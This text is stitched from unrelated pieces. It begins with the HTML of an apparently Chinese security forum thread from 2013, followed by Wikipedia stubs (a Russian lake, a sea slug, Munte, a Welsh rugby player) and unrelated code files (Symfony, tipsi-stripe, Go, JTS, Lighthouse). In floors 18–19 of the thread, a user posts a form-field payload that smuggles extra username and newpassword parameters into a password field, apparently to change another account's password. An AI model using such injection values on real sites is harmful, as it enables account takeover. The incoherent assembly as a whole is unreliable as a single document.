<a target='_blank' href="path_to_url">xsser</a> <img height="12" width="12" style="vertical-align:-2px;" src="path_to_url" alt="" /> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:297 :22 | ,?)
<div class="likebox">
<span class="likepre" title="" rel="32882"></span>
<span class="liketext liketext_min"><span id="likenum_32882">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@ </p>
</div>
<div class="replylist-act">
<span class="floor">4#</span>
<a title=" xsser" href="javascript:void(0)" class="replyBtn" onclick="Reply('xsser')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 12:05</span> |
<a target='_blank' href="path_to_url"></a> <img height="12" width="12" style="vertical-align:-2px;" src="path_to_url" alt="" /> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:1068 :80 | )
<div class="likebox">
<span class="likepre" title="" rel="32883"></span>
<span class="liketext liketext_min"><span id="likenum_32883">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@xsser BTW, </p>
</div>
<div class="replylist-act">
<span class="floor">5#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 12:20</span> |
<a target='_blank' href="path_to_url">se55i0n</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:1571 :174 )
<div class="likebox">
<span class="likepre" title="" rel="32886"></span>
<span class="liketext liketext_min"><span id="likenum_32886">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@xsser </p>
</div>
<div class="replylist-act">
<span class="floor">6#</span>
<a title=" se55i0n" href="javascript:void(0)" class="replyBtn" onclick="Reply('se55i0n')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 12:22</span> |
<a target='_blank' href="path_to_urlshell">shell</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:70 :5 | )
<div class="likebox">
<span class="likepre" title="" rel="32887"></span>
<span class="liketext liketext_min"><span id="likenum_32887">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@se55i0n </p>
</div>
<div class="replylist-act">
<span class="floor">7#</span>
<a title=" shell" href="javascript:void(0)" class="replyBtn" onclick="Reply('shell')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 12:27</span> |
<a target='_blank' href="path_to_url">se55i0n</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:1571 :174 )
<div class="likebox">
<span class="likepre" title="" rel="32889"></span>
<span class="liketext liketext_min"><span id="likenum_32889">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@shell ... </p>
</div>
<div class="replylist-act">
<span class="floor">8#</span>
<a title=" se55i0n" href="javascript:void(0)" class="replyBtn" onclick="Reply('se55i0n')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 12:36</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:3 :2 )
<div class="likebox">
<span class="likepre" title="" rel="32890"></span>
<span class="liketext liketext_min"><span id="likenum_32890">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>dz~ </p>
</div>
<div class="replylist-act">
<span class="floor">9#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 13:17</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:259 :45 | ~)
<div class="likebox">
<span class="likepre" title="" rel="32894"></span>
<span class="liketext liketext_min"><span id="likenum_32894">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">10#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 13:20</span> |
<a target='_blank' href="path_to_url"></a> <img height="12" width="12" style="vertical-align:-2px;" src="path_to_url" alt="" /> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:1878 :154 | ...)
<div class="likebox">
<span class="likepre" title="" rel="32897"></span>
<span class="liketext liketext_min"><span id="likenum_32897">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>10 </p>
</div>
<div class="replylist-act">
<span class="floor">11#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 13:31</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:259 :45 | ~)
<div class="likebox">
<span class="likepre" title="" rel="32898"></span>
<span class="liketext liketext_min"><span id="likenum_32898">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>path_to_url </p>
</div>
<div class="replylist-act">
<span class="floor">12#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 13:33</span> |
<a target='_blank' href="path_to_url">Clar</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:5 :2 | )
<div class="likebox">
<span class="likepre" title="" rel="32900"></span>
<span class="liketext liketext_min"><span id="likenum_32900">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">13#</span>
<a title=" Clar" href="javascript:void(0)" class="replyBtn" onclick="Reply('Clar')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-09 13:57</span> |
<a target='_blank' href="path_to_urlshell">shell</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:70 :5 | )
<div class="likebox">
<span class="likepre" title="" rel="32905"></span>
<span class="liketext liketext_min"><span id="likenum_32905">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@ </p>
</div>
<div class="replylist-act">
<span class="floor">14#</span>
<a title=" shell" href="javascript:void(0)" class="replyBtn" onclick="Reply('shell')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-29 23:57</span> |
<a target='_blank' href="path_to_url">hacx</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:52 :6 )
<div class="likebox">
<span class="likepre" title="" rel="35170"></span>
<span class="liketext liketext_min"><span id="likenum_35170">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">15#</span>
<a title=" hacx" href="javascript:void(0)" class="replyBtn" onclick="Reply('hacx')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-30 09:43</span> |
<a target='_blank' href="path_to_url">possible</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:373 :32 | everything is possible!)
<div class="likebox">
<span class="likepre" title="" rel="35176"></span>
<span class="liketext liketext_min"><span id="likenum_35176">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>... </p>
</div>
<div class="replylist-act">
<span class="floor">16#</span>
<a title=" possible" href="javascript:void(0)" class="replyBtn" onclick="Reply('possible')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-30 18:07</span> |
<a target='_blank' href="path_to_url">Seay</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:65 :8 )
<div class="likebox">
<span class="likepre" title="" rel="35268"></span>
<span class="liketext liketext_min"><span id="likenum_35268">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">17#</span>
<a title=" Seay" href="javascript:void(0)" class="replyBtn" onclick="Reply('Seay')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-30 18:24</span> |
<a target='_blank' href="path_to_url">_Evil</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:431 :61 | ,,...)
<div class="likebox">
<span class="likepre" title="" rel="35273"></span>
<span class="liketext liketext_min"><span id="likenum_35273">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@shell <th></th>
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
</tr>
%5D=aaa%5D%5B
</p>
</div>
<div class="replylist-act">
<span class="floor">18#</span>
<a title=" _Evil" href="javascript:void(0)" class="replyBtn" onclick="Reply('_Evil')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-30 18:26</span> |
<a target='_blank' href="path_to_url">_Evil</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:431 :61 | ,,...)
<div class="likebox">
<span class="likepre" title="" rel="35275"></span>
<span class="liketext liketext_min"><span id="likenum_35275">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@ @ @hacx @xsser @ <th></th> <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td> </tr> %5D=aaa%5D%5B </p>
</div>
<div class="replylist-act">
<span class="floor">19#</span>
<a title=" _Evil" href="javascript:void(0)" class="replyBtn" onclick="Reply('_Evil')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-30 18:28</span> |
<a target='_blank' href="path_to_url">Ray</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:75 :7 )
<div class="likebox">
<span class="likepre" title="" rel="35276"></span>
<span class="liketext liketext_min"><span id="likenum_35276">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@_Evil </p>
</div>
<div class="replylist-act">
<span class="floor">20#</span>
<a title=" Ray" href="javascript:void(0)" class="replyBtn" onclick="Reply('Ray')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-30 18:30</span> |
<a target='_blank' href="path_to_urlshell">shell</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:70 :5 | )
<div class="likebox">
<span class="likepre" title="" rel="35277"></span>
<span class="liketext liketext_min"><span id="likenum_35277">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@Ray @_Evil valueurlencode </p>
</div>
<div class="replylist-act">
<span class="floor">21#</span>
<a title=" shell" href="javascript:void(0)" class="replyBtn" onclick="Reply('shell')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-30 21:53</span> |
<a target='_blank' href="path_to_url">Seay</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:65 :8 )
<div class="likebox">
<span class="likepre" title="" rel="35311"></span>
<span class="liketext liketext_min"><span id="likenum_35311">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>
</p>
</div>
<div class="replylist-act">
<span class="floor">22#</span>
<a title=" Seay" href="javascript:void(0)" class="replyBtn" onclick="Reply('Seay')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-30 21:57</span> |
<a target='_blank' href="path_to_url">_Evil</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:431 :61 | ,,...)
<div class="likebox">
<span class="likepre" title="" rel="35313"></span>
<span class="liketext liketext_min"><span id="likenum_35313">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@shell value </p>
</div>
<div class="replylist-act">
<span class="floor">23#</span>
<a title=" _Evil" href="javascript:void(0)" class="replyBtn" onclick="Reply('_Evil')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-01-31 10:53</span> |
<a target='_blank' href="path_to_urlshell">shell</a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:70 :5 | )
<div class="likebox">
<span class="likepre" title="" rel="35374"></span>
<span class="liketext liketext_min"><span id="likenum_35374">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p>@_Evil valuea&b&c </p>
</div>
<div class="replylist-act">
<span class="floor">24#</span>
<a title=" shell" href="javascript:void(0)" class="replyBtn" onclick="Reply('shell')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-02-23 15:22</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:262 :71 | ...)
<div class="likebox">
<span class="likepre" title="" rel="37064"></span>
<span class="liketext liketext_min"><span id="likenum_37064">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">25#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-02-23 16:34</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:262 :71 | ...)
<div class="likebox">
<span class="likepre" title="" rel="37070"></span>
<span class="liketext liketext_min"><span id="likenum_37070">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">26#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2013-11-20 12:01</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:88 :37 | WEB)
<div class="likebox">
<span class="likepre" title="" rel="70561"></span>
<span class="liketext liketext_min"><span id="likenum_70561">0</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">27#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
</ol><!-- replylist End -->
</div><!-- replys End -->
<div id="reply" class="reply">
<a name="comment"></a>
<p class="detail">
<a href="path_to_url"><u></u></a>
</p>
<script type="text/javascript">
var masaic = '0';
function CommentLike(id){
$.post("/ajaxdo.php?module=commentrating",{"id":id,"token":$("#token").val()},function(re){
re=parseInt(re);
switch(re){
case 1:
$("#likenum_"+id).html(parseInt($("#likenum_"+id).html())+1);
break;
case 4:
alert(_LANGJS.COMMENT_GOOD_DONE);
break;
case 6:
alert(_LANGJS.COMMENT_SELF);
break;
default:break;
}
});
}
$(document).ready(function(){
$(".likebox .likepre").click(function(){
CommentLike($(this).attr("rel"));
});
});
</script>
<div>
</div>
<div id="footer">
<span class="copyright fleft">
<a href="path_to_url">ICP15041338-1</a>
<!--a href="path_to_url" target="_blank"><img src="/images/sae_bottom_logo.png" title="Powered by Sina App Engine"></a-->
</span>
<span class="other fright">
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
</span>
</div>
<script type="text/javascript">
var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fc12f88b5c1cd041a732dea597a5ec94c' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript" id="bdshare_js" data="type=button" ></script>
<script type="text/javascript" id="bdshell_js"></script>
<script type="text/javascript">
document.getElementById("bdshell_js").src = "path_to_url" + new Date().getHours();
if (top.location !== self.location) top.location=self.location;
</script>
</body>
</html>
```
|
Lake Bustakh (; , Buustaax) is a large freshwater lake in Ust-Yansky District, Sakha Republic, Russia.
Lake Bustakh freezes up in late September and stays icebound until June. It is rich in fish.
Geography
With an area of it is one of the largest lakes of the Yana-Indigirka Lowland. The lake lies close to the Ebelyakh Bay of the Laptev Sea.
See also
List of lakes of Russia
References
Bustakh
East Siberian Lowland
|
```php
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Symfony\Component\HttpKernel\DependencyInjection;
use Symfony\Component\DependencyInjection\Argument\IteratorArgument;
use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\DependencyInjection\Exception\RuntimeException;
use Symfony\Component\DependencyInjection\Reference;
/**
* @author Alexander M. Turek <me@derrabus.de>
*/
class ResettableServicePass implements CompilerPassInterface
{
private $tagName;
public function __construct(string $tagName = 'kernel.reset')
{
if (0 < \func_num_args()) {
trigger_deprecation('symfony/http-kernel', '5.3', 'Configuring "%s" is deprecated.', __CLASS__);
}
$this->tagName = $tagName;
}
/**
* {@inheritdoc}
*/
public function process(ContainerBuilder $container)
{
if (!$container->has('services_resetter')) {
return;
}
$services = $methods = [];
foreach ($container->findTaggedServiceIds($this->tagName, true) as $id => $tags) {
$services[$id] = new Reference($id, ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE);
foreach ($tags as $attributes) {
if (!isset($attributes['method'])) {
throw new RuntimeException(sprintf('Tag "%s" requires the "method" attribute to be set.', $this->tagName));
}
if (!isset($methods[$id])) {
$methods[$id] = [];
}
if ('ignore' === ($attributes['on_invalid'] ?? null)) {
$attributes['method'] = '?'.$attributes['method'];
}
$methods[$id][] = $attributes['method'];
}
}
if (!$services) {
$container->removeAlias('services_resetter');
$container->removeDefinition('services_resetter');
return;
}
$container->findDefinition('services_resetter')
->setArgument(0, new IteratorArgument($services))
->setArgument(1, $methods);
}
}
```
|
Elysia abei is a species of sea slug, a marine gastropod mollusc in the family Plakobranchidae. They are found off the Pacific coast of Japan in Sagami Bay.
References
Baba, K. (1955). "Opisthobranchia of Sagami Bay, Supplement". Tokyo: Iwanami Shoten.
Jensen K.R. (2007) Biogeography of the Sacoglossa (Mollusca, Opisthobranchia). Bonner Zoologische Beiträge 55:255–281
Plakobranchidae
Gastropods described in 1955
|
```javascript
import React, { PureComponent } from 'react'
import { View, Platform, StyleSheet } from 'react-native'
import DrawerLayout from 'react-native-drawer-layout-polyfill'
import stripe from 'tipsi-stripe'
import Header from './components/Header'
import MenuItem from './components/MenuItem'
import ApplePayScreen from './scenes/ApplePayScreen'
import AndroidPayScreen from './scenes/AndroidPayScreen'
import CardFormScreen from './scenes/CardFormScreen'
import CustomCardScreen from './scenes/CustomCardScreen'
import CustomBankScreen from './scenes/CustomBankScreen'
import CardTextFieldScreen from './scenes/CardTextFieldScreen'
import SourceScreen from './scenes/SourceScreen'
import PaymentIntentScreen from './scenes/PaymentIntentScreen'
import SetupIntentScreen from './scenes/SetupIntentScreen'
import testID from './utils/testID'
stripe.setOptions({
publishableKey: '<PUBLISHABLE_KEY>',
merchantId: '<MERCHANT_ID>',
androidPayMode: 'test',
})
// can also be set to null if you want to clear
stripe.setStripeAccount('<STRIPE_ACCOUNT>')
export default class Root extends PureComponent {
state = {
index: 0,
isDrawerOpen: false,
routes: [
Platform.select({
ios: ApplePayScreen,
android: AndroidPayScreen,
}),
CardFormScreen,
CustomCardScreen,
CustomBankScreen,
CardTextFieldScreen,
SourceScreen,
PaymentIntentScreen,
SetupIntentScreen,
].filter((item) => item),
}
getCurrentScene = () => this.state.routes[this.state.index]
handleChangeTab = (index) => {
this.drawer.closeDrawer()
this.setState({ index })
}
handleDrawerRef = (node) => {
this.drawer = node
}
handleMenuPress = () => {
if (this.state.isDrawerOpen) {
this.drawer.closeDrawer()
} else {
this.drawer.openDrawer()
}
}
handleDrawerOpen = () => {
this.setState({ isDrawerOpen: true })
}
handleDrawerClose = () => {
this.setState({ isDrawerOpen: false })
}
/* eslint-disable react/no-array-index-key */
renderNavigation = () => (
<View style={styles.drawer}>
{this.state.routes.map((Scene, index) => (
<MenuItem
key={index}
title={Scene.title}
active={this.state.index === index}
onPress={() => this.handleChangeTab(index)}
{...testID(Scene.title)}
/>
))}
</View>
)
render() {
const Scene = this.getCurrentScene()
return (
<View style={styles.container}>
<View style={styles.statusbar} />
<Header title={`Example: ${Scene.title}`} onMenuPress={this.handleMenuPress} />
<DrawerLayout
drawerWidth={200}
drawerPosition={DrawerLayout.positions.Left}
renderNavigationView={this.renderNavigation}
onDrawerOpen={this.handleDrawerOpen}
onDrawerClose={this.handleDrawerClose}
ref={this.handleDrawerRef}
>
<Scene />
</DrawerLayout>
</View>
)
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#f5f5f5',
},
statusbar: {
height: Platform.select({ ios: 20, android: 0 }),
},
drawer: {
flex: 1,
backgroundColor: '#ffffff',
},
})
```
|
```go
package testpb
import (
"context"
"fmt"
)
type QueryImpl struct {
UnimplementedQueryServer
}
func (q QueryImpl) Echo(_ context.Context, request *EchoRequest) (*EchoResponse, error) {
return &EchoResponse{Message: request.Message}, nil
}
func (q QueryImpl) SayHello(_ context.Context, request *SayHelloRequest) (*SayHelloResponse, error) {
greeting := fmt.Sprintf("Hello %s!", request.Name)
return &SayHelloResponse{Greeting: greeting}, nil
}
func (q QueryImpl) TestAny(_ context.Context, request *TestAnyRequest) (*TestAnyResponse, error) {
return &TestAnyResponse{HasAnimal: &HasAnimal{
Animal: request.AnyAnimal,
X: 10,
}}, nil
}
var _ QueryServer = QueryImpl{}
```
|
Munte may refer to:
Munte (Belgium), part of the Belgian municipality of Merelbeke
Munte (Karo Regency), an [Indonesian district of the regency of Karo (North Sumatra)
Munte (Netherlands), a river located in the province of Groningen; see List of rivers of the Netherlands
|
```java
/*
*
* All rights reserved. This program and the accompanying materials
*
* path_to_url
*/
package org.locationtech.jts.operation.overlay;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import org.locationtech.jts.algorithm.PointLocator;
import org.locationtech.jts.geom.GeometryFactory;
import org.locationtech.jts.geom.LineString;
import org.locationtech.jts.geomgraph.DirectedEdge;
import org.locationtech.jts.geomgraph.DirectedEdgeStar;
import org.locationtech.jts.geomgraph.Edge;
import org.locationtech.jts.geomgraph.Label;
import org.locationtech.jts.geomgraph.Node;
import org.locationtech.jts.util.Assert;
/**
* Forms JTS LineStrings out of a the graph of {@link DirectedEdge}s
* created by an {@link OverlayOp}.
*
* @version 1.7
*/
public class LineBuilder {
private OverlayOp op;
private GeometryFactory geometryFactory;
private PointLocator ptLocator;
private List lineEdgesList = new ArrayList();
private List resultLineList = new ArrayList();
public LineBuilder(OverlayOp op, GeometryFactory geometryFactory, PointLocator ptLocator) {
this.op = op;
this.geometryFactory = geometryFactory;
this.ptLocator = ptLocator;
}
/**
* @return a list of the LineStrings in the result of the specified overlay operation
*/
public List build(int opCode)
{
findCoveredLineEdges();
collectLines(opCode);
//labelIsolatedLines(lineEdgesList);
buildLines(opCode);
return resultLineList;
}
/**
* Find and mark L edges which are "covered" by the result area (if any).
* L edges at nodes which also have A edges can be checked by checking
* their depth at that node.
* L edges at nodes which do not have A edges can be checked by doing a
* point-in-polygon test with the previously computed result areas.
*/
private void findCoveredLineEdges()
{
// first set covered for all L edges at nodes which have A edges too
for (Iterator nodeit = op.getGraph().getNodes().iterator(); nodeit.hasNext(); ) {
Node node = (Node) nodeit.next();
//node.print(System.out);
((DirectedEdgeStar) node.getEdges()).findCoveredLineEdges();
}
/**
* For all L edges which weren't handled by the above,
* use a point-in-poly test to determine whether they are covered
*/
for (Iterator it = op.getGraph().getEdgeEnds().iterator(); it.hasNext(); ) {
DirectedEdge de = (DirectedEdge) it.next();
Edge e = de.getEdge();
if (de.isLineEdge() && ! e.isCoveredSet()) {
boolean isCovered = op.isCoveredByA(de.getCoordinate());
e.setCovered(isCovered);
}
}
}
private void collectLines(int opCode)
{
for (Iterator it = op.getGraph().getEdgeEnds().iterator(); it.hasNext(); ) {
DirectedEdge de = (DirectedEdge) it.next();
collectLineEdge(de, opCode, lineEdgesList);
collectBoundaryTouchEdge(de, opCode, lineEdgesList);
}
}
/**
* Collect line edges which are in the result.
* Line edges are in the result if they are not part of
* an area boundary, if they are in the result of the overlay operation,
* and if they are not covered by a result area.
*
* @param de the directed edge to test
* @param opCode the overlap operation
* @param edges the list of included line edges
*/
private void collectLineEdge(DirectedEdge de, int opCode, List edges)
{
Label label = de.getLabel();
Edge e = de.getEdge();
// include L edges which are in the result
if (de.isLineEdge()) {
if (! de.isVisited() && OverlayOp.isResultOfOp(label, opCode) && ! e.isCovered()) {
//Debug.println("de: " + de.getLabel());
//Debug.println("edge: " + e.getLabel());
edges.add(e);
de.setVisitedEdge(true);
}
}
}
/**
* Collect edges from Area inputs which should be in the result but
* which have not been included in a result area.
* This happens ONLY:
* <ul>
* <li>during an intersection when the boundaries of two
* areas touch in a line segment
* <li> OR as a result of a dimensional collapse.
* </ul>
*/
private void collectBoundaryTouchEdge(DirectedEdge de, int opCode, List edges)
{
Label label = de.getLabel();
if (de.isLineEdge()) return; // only interested in area edges
if (de.isVisited()) return; // already processed
if (de.isInteriorAreaEdge()) return; // added to handle dimensional collapses
if (de.getEdge().isInResult()) return; // if the edge linework is already included, don't include it again
// sanity check for labelling of result edgerings
Assert.isTrue(! (de.isInResult() || de.getSym().isInResult()) || ! de.getEdge().isInResult());
// include the linework if it's in the result of the operation
if (OverlayOp.isResultOfOp(label, opCode)
&& opCode == OverlayOp.INTERSECTION)
{
edges.add(de.getEdge());
de.setVisitedEdge(true);
}
}
private void buildLines(int opCode)
{
for (Iterator it = lineEdgesList.iterator(); it.hasNext(); ) {
Edge e = (Edge) it.next();
// Label label = e.getLabel();
LineString line = geometryFactory.createLineString(e.getCoordinates());
resultLineList.add(line);
e.setInResult(true);
}
}
private void labelIsolatedLines(List edgesList)
{
for (Iterator it = edgesList.iterator(); it.hasNext(); ) {
Edge e = (Edge) it.next();
Label label = e.getLabel();
//n.print(System.out);
if (e.isIsolated()) {
if (label.isNull(0))
labelIsolatedLine(e, 0);
else
labelIsolatedLine(e, 1);
}
}
}
/**
* Label an isolated node with its relationship to the target geometry.
*/
private void labelIsolatedLine(Edge e, int targetIndex)
{
int loc = ptLocator.locate(e.getCoordinate(), op.getArgGeometry(targetIndex));
e.getLabel().setLocation(targetIndex, loc);
}
}
```
|
```javascript
/**
* @license
*/
/** @type {LH.Config} */
const fullConfig = {
extends: 'lighthouse:default',
settings: {},
};
export default fullConfig;
```
|
Kirby Myhill (born 5 February 1992) is a Welsh rugby union rugby player, who most recently played at hooker for Cardiff Rugby, having progressed through the Scarlets academy. He is also a Wales and Wales Under-20 international.
Club career
Myhill attended Glan-y-Mor Comprehensive School and Coleg Sir Gâr, where he played for their rugby team, as well as with the Burry Port RFC youth side. Myhill was part of the Scarlets academy, and made a positional change from back row to hooker while playing at U18 level.
